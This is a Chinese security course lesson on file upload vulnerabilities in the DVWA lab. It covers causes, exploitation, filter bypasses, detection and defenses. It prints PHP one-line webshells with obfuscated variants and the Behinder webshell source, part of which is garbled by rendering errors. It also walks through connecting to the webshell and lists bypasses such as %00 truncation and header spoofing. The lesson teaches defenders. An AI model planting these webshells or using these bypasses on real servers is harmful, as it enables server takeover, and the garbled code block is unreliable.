13 文件上传漏洞:种植服务器木马的捷径

上一讲介绍过反序列化漏洞,利用漏洞常可以造成执行代码的严重后果。

从本讲开始将介绍文件上传漏洞,它比反序列化漏洞原理与利用更加简单,但同样可以达到控制服务器的严重后果,不少攻击者会通过此类漏洞向服务器种植木马,以获取服务器的控制权限。

下面我们就详细介绍下文件上传漏洞的原理、利用方法、绕过限制、检测与防御。

漏洞成因

文件上传漏洞正是在文件上传功能中,由于对用户上传的文件数据未做有效检测或过滤不严,导致上传的恶意文件被服务端解释器解析执行,利用漏洞可获取系统控制权。

很多网站都有一些文件上传功能,常见的是图片、视频、压缩文档上传,如果网站是 PHP 写的,那么上传 PHP 到服务器就有可能被解析,若服务器支持其他语言的解析执行,比如 ASP、JSP、ASPX 等文件也可达到同等攻击效果,达到恶意代码执行。

以 DVWA 靶场的文件上传漏洞为例:

图 1 DVWA File Upload

对应的漏洞代码如下,通过 POST 请求将文件上传到“网站根目录 /hackable/uploads/”目录:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}
?>

中间没有任何限制,也就是说上传 PHP 文件也可以,简单写个包含 phpinfo() 的 php 文件:

<?php phpinfo(); ?>

上传后有路径提示:

图 2 上传 PHP 成功

访问地址:http://127.0.0.1/hackable/uploads/phpinfo.php,可以看到 phpinfo() 已经被执行成功。

图 3 解析成功的 phpinfo

就如果我们上传的 PHP 是更多恶意功能的脚本,就可以实现更多攻击行为。

利用漏洞上传 Webshell

1.一句话木马

提到 Webshell 木马,就不得不提下“一句话木马”。PHP 一句话木马可以通过 GET、POST、COOKIE 这几种方式提交数据,然后将数据传递给代码/命令执行函数,从而实现任意代码/命令执行。

比如以下这个一句话木马:

<?php eval(@$_GET['a']); ?>

将上述代码保存为 eval.php 并上传至网站,然后构造请求:

http://127.0.0.1/hackable/uploads/eval.php?a=phpinfo();

利用一句话木马成功执行 phpinfo() 函数。

图 4 利用一句话木马执行代码

有时为了绕过木马检测,攻击者会对一句话进行混淆变形,比如下面几句。

  • 利用字符串拼接执行函数名:

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
  • 通过 base64_decode 编码执行函数名:

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
  • 由 GET 参数指定函数名和参数:

<?php $_GET['a']($_GET['b']);  ?>

行业内常称“一句话木马”为“小马”,用它来传递“大马”,因为“大马”比较容易被检测到。

2.Webshell 管理工具

攻击者常用“菜刀”“冰蝎”“蚁剑”、Weevely、Cknife 这些 Webshell 工具去连接一句话木马,其中尤以“菜刀”最为出名。

由于原版“菜刀”只支持 Windows,因此我这边选用支持跨平台的“冰蝎”作为演示,可进入 Github 对“冰蝎”进行下载。

下载解压后的目录:

$ tree
.
├── 更新日志.txt
├── Behinder_v3.0_Beta6_linux.jar
├── data.db
└── server├── shell.asp├── shell.aspx├── shell.jsp├── shell.jspx.jsp└── shell.php

server 目录就是用来上传服务端的小马,我们选择上传 shell.php,默认使用连接密码 rebeyond,你可根据需要自行修改,然后用密码 32 位 md5 哈希值替换 key 变量即可。

shell.php 代码如下:

<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;$post=file_get_contents("php://input");  // 读取上传文件内容if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");   // 如果没有openssl扩展就调用base64_decode
 <span class="hljs-keyword">for</span>($i=<span class="hljs-number">0</span>;$i&lt;strlen($post);$i++) {

post[post[post[i] = post[post[post[i]^key[key[key[i+1&15]; 
    }
}
else
{
// 如果有openssl扩展就采用AES128位解密,因为冰蝎是加密传输的
post=openssldecrypt(post=openssl_decrypt(post=openssld​ecrypt(post, “AES128”, $key);
}
    arr=explode(<spanclass="hljs−string">′∣′</span>,arr=explode(<span class="hljs-string">'|'</span>,arr=explode(<spanclass="hljs−string">′∣′</span>,post);
    func=func=func=arr[0];
    params=params=params=arr[1];
class C{public function __invoke(KaTeX parse error: Expected '}', got 'EOF' at end of input: …d">eval</span>(p.“”);}}
    @call_user_func(new C(),$params);
?>

上传成功后得到地址:

http://127.0.0.1/hackable/uploads/shell.php

使用以下命令打开冰蝎客户端:

java -jar Behinder_v3.0_Beta6_linux.jar

右击菜单选择“新增”,把 shell.php 地址输入 URL,同时输入 shell.php 中的连接密码(此处我使用默认密码“rebeyond”),点击“保存”。

双击保存的 URL 去连接 shell.php,如果成功的话,会打开 phpinfo,同时在右上角显示“已连接”。

上面有很多附带功能,你可以管理服务器文件:


可以执行命令:

还有数据库管理、执行自定义代码以及内网穿透时常用的端口映射、Socks 隧道等等功能。

之前使用“菜刀”的人比较多,也导致不少网站增加了对其的检测规则,后来不少人改用通信加密与设置连接密码的“冰蝎”,也有人基于此做了二次开发,做一些检测特征清除,从而绕过一些安全系统的查杀。

最后再提醒下,本文提及的相关工具仅限安全研究学习之用,请勿用于任何非法途径,否则后果自负。

绕过上传限制

1.禁用 JS

很多时候,开发在限制上传文件格式时,仅是在前端 JS 上做简单的文件后缀名判断,若不是就中断处理。对于这种情况安装个 NoScript 插件,禁用 JS 再上传即可绕过。

2.篡改数据包

对于前端 JS 的限制,除了禁用 JS 外,我们还可以使用 curl、nc、BurpSuite 等工具构造数据包去发送请求,这样是不经过浏览器前端 JS 的处理,从而绕过限制。这里的篡改内容,可依据前端 JS 的校验内容来定,比如后缀名、Content-type 等等。

3.文件头绕过

不同文件格式有不同的文件头,比如下表:


这样我们就可以尝试在 php 文件前面加个图片文件头,看是否可以绕过检测,比如下面 shell.php 内容:

BM <?php phpinfo(); ?>

从这也可以看出,检测文件格式最后是文件头+后缀名都一块检测,否则仍有绕过的可能。

4.%00 截断

前端限制对防御上传漏洞的能力相对是比较弱的,更多还是得靠服务端,但如果限制不当,仍有可能绕过。比如对文件后缀、路径上的检测,有时可通过添加 %00 截断来绕过,比如:

upload.php?type=image&file=shell.php%00.jpg

5.大小写绕过

有时检测未区分文件名大小写时,可使用此方法绕过。

6.后缀别名绕过

有些执行脚本存在多个后缀别名,若网站对此检测不全时,也有可能绕过,不同语言的常用后缀如下表:


html 文件上传后可用于 XSS 或者钓鱼欺骗等攻击,相比其他语言可直接在服务端执行代码的危害低一些,但仍要重视。

7.结合其他漏洞绕过

可利用一些服务器的解析漏洞来绕过,比如利用 apache 对不同后缀名的处理顺序机制,当后缀名不可识别时,就往左判断,比如 shell.php.php123 有可能被识别为 php 类型来执行。

nginx 也出现过类似漏洞,比如 1.jpg/1.php 被当作 php 来执行,这种服务端解析漏洞就比较难单纯依靠网站代码来解决,前提还是需要先堵住漏洞。

如何发现上传漏洞

1.黑盒扫描

在日常的网站扫描中,一般不会上传真实的木马,常常使用 phpinfo 来代替,这样对业务的影响是最小的。有时也会 echo 一段字符串来代替,但这种有时被外部发现,又可能被外部炒作被黑,存在公关风险。

当爬虫网页时,若发现存在文件上传功能,就自动构造请求上传包含以下代码的文件:

<?php phpinfo(); ?>

先根据返回包特征判断是否上传成功,然后再去寻找上传路径。扫描器可以设置一个随机文件名,然后再常见目录去检测是否上传成功。

如果是自家服务器,你倒可以在服务器上布署个文件创建的监控,然后根据文件名获取上传路径,最后访问文件路径判断是否可访问。这种做法的通用相对比较差,很多时候也并不是对自己服务器的测试。

2.流量监测

由于黑盒扫描对上传文件路径的确认比较困难,所以流量监测成为一种常用方法,不仅是上传漏洞,其实其他漏洞也同样适用的。

通过监测流量中疑似的 webshell,获取相关请求数据告警出来,然后再人工确认,我们在用这种方法在实际业务中多次发现上传漏洞。

3.白盒审计

如果手上有源代码,直接审计代码也是一种不错方式。在 PHP 中是通过 $_FILE 来读取文件,它拥有以下几个常用属性:

  • $_FILES[file]['name']:上传文件名

  • $_FILES[file]['tmp_name']:存储在服务器的文件的临时副本的名称

  • $_FILES[file]['size']:上传文件大小

  • $_FILES[file]['type']:上传文件类型

其中的 name 与 tmp_name 可以理解为污染源触发上传文件存储的函数常见于:move_uploaded_file,审计代码时就可以先从此函数入手,看其参数是否有来源于上述污染源数据,并且中间无任何的上传限制,那就有可能存在上传漏洞,最后再手工上传验证下。

漏洞防御

对于上传漏洞的修复和防御,可以从以下几方面入手:

1. 严格检测上传文件后缀名、文件头、Content-type,尽量采用白名单方式限制。

2. 重编码文件,比如对图片或视频做转换处理。

3. 限制文件大小,避免被恶意上传大文件造成存储空间不足,进而网站无法正常运行。

4. 在服务端本地检测 Webshell,发现后告警出来,人工确认后再删除,同时排查是否为外部入侵导致的,查日志去追踪可能存在的漏洞来源。

5. 使用 WAF 拦截木马的上传,这种可能比较容易被绕过。

6. 使用 RASP 在服务端中对于执行脚本的关键函数进行 hook,比如 php eval,在触发外部数据输入执行时就告警和阻断。

7. 限制上传目录可不解析,不同的服务器有不同的配置方式,比如 Nginx 可按如下方式配置。

  location ~* ^/uploads/.*\.(php|php5)$ {deny all;}

8. 上传文件重命名,建议使用随机文件名。

9. 隐藏上传文件路径相关信息,比如关闭错误回显,不要像本课中的 DVWA 靶场的题目那样直接把上传路径直接返回。

小结

本节课主要介绍文件上传漏洞的成因、利用、检测与防御,也简单介绍了一句话木马、常用 Webshell 工具,同时重点介绍了一些绕过上传限制的常用技巧。

在实际渗透测试过程中,你需要结合业务实际场景来灵活运用,最好是摸清网站的一些限制策略,再做测试用例上的调整,这样才会比较适用。

下一讲开始,我将会介绍“命令注入”漏洞,这也是一种常见的严重漏洞,严重到需要企业安全人员半夜起来加班应急。我将介绍命令注入漏洞的成因、常见的利用技巧,并会总结一些常见的限制绕过方法,以及漏洞挖掘与防御的主流方式,所以别忘来听课~


网络安全课第七节 文件上传漏洞的检测与防御相关推荐

  1. [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了文件上传漏洞和IIS6.0解析漏洞,包括PHP345文件绕过上传.Win ...

  2. 文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞

    文章目录 文件上传漏洞 漏洞概述 漏洞成因 漏洞危害 WebShell 大马 小马 GetShell 漏洞利用的条件 PUT方法上传文件 漏洞的防御.绕过和利用 黑白名单策略 安装upload-lab ...

  3. 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

    文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...

  4. 文件上传漏洞-原理篇

    目录 第1章 文件上传漏洞基础 1.1 漏洞概述 1.2 漏洞成因 1.3 漏洞危害 1.4 漏洞利用姿势 第2章 文件上传漏洞检测与绕过 2.1 前端检测和绕过 2.2 服务器端检测和绕过 第3章 ...

  5. 网络安全-文件上传漏洞的原理、攻击与防御

    目录 介绍 分类 上传-javascript检测 简介 原理 攻击 防御 上传-MIME检测 简介 攻击 防御 上传-后端文件格式检测 简介 原理 攻击 防御 上传-文件截断 简介 攻击 解析-Apa ...

  6. [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  7. [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...

  8. [网络安全自学篇] 三十三.文件上传之绕狗一句话原理和绕过安全狗(六)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文详细讲解了Upload-labs靶场及文件上传漏洞20道CTF题目,并结合C ...

  9. [网络安全自学篇] 三十一.文件上传之Upload-labs靶场及CTF题目01-10(四)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了编辑器漏洞和IIS高版本文件上传漏洞,包括FCKeditor.eWeb ...

最新文章

  1. php中常用的全局变量有,在PHP中如何使用全局变量的方法详解
  2. 用Java代码在ElasticSearch中索引PDF文件?
  3. 过程中存根的作用有_聚氨酯发泡胶有哪些作用?使用过程中表现出哪些特点?...
  4. 接口测试---mock变量自定义变量的使用
  5. java输出csv文件在excel中显示乱码
  6. hibernate版本_基于jsp+mysql+Spring+hibernate+Struts 2的SSH在线蛋糕销售网站平台管理系统...
  7. 双十一终极预告:免单+半价+100% 中奖,没有套路,直降直减!
  8. 创建一个1000w个随机浮点数的数组
  9. c语言罗盘,风水罗盘下载_风水罗盘手机免费最新版v1.0下载_hycdc游戏网
  10. asp.netc#验证AD域账户的用户名和密码
  11. JDBC如何防止SQL注入
  12. 为什么myeclipse9.0解析类时会多一个类名呢!解决方案
  13. QT TreeView
  14. ArcGIS的地理坐标系、大地坐标系
  15. openstack与ceph环境恢复云主机
  16. 基于matlab的磁悬浮控制系统,基于MATLAB的磁悬浮控制系统的研究
  17. CSDN中使用Mermaid绘制思维导图
  18. 20200417-SiC+移相全桥文献
  19. Unity 工具-Opus音频压缩(安卓篇)
  20. VS2010 不生成pdb 和ilk文件

热门文章

  1. 华为Cloud BU总裁郑叶来:云服务低价竞争会回归理性
  2. 观念决定态度,态度决定一切
  3. NameError: name 'QApplication' is not defined 的解决办法
  4. 【云盒子企业网盘】安全又便捷的桌面书签你想拥有吗?
  5. 2022年全美最佳大学排名公布,看看谁是1400所里最好的大学!
  6. 【R】随机模拟计算定积分
  7. spring中的事件监听机制
  8. MySQL varchar(255) 和 varchar(256) 区别
  9. 单片机实验——改进型交通信号灯设计,交通信号系统是保障交通安全高效的重要设施,为了利于司机更好的判断,很多交通信号灯系统在原来的系统基础上设置了倒计时显示器。本实验利用7段数码管作倒计时显示器
  10. 前端导出word实现方法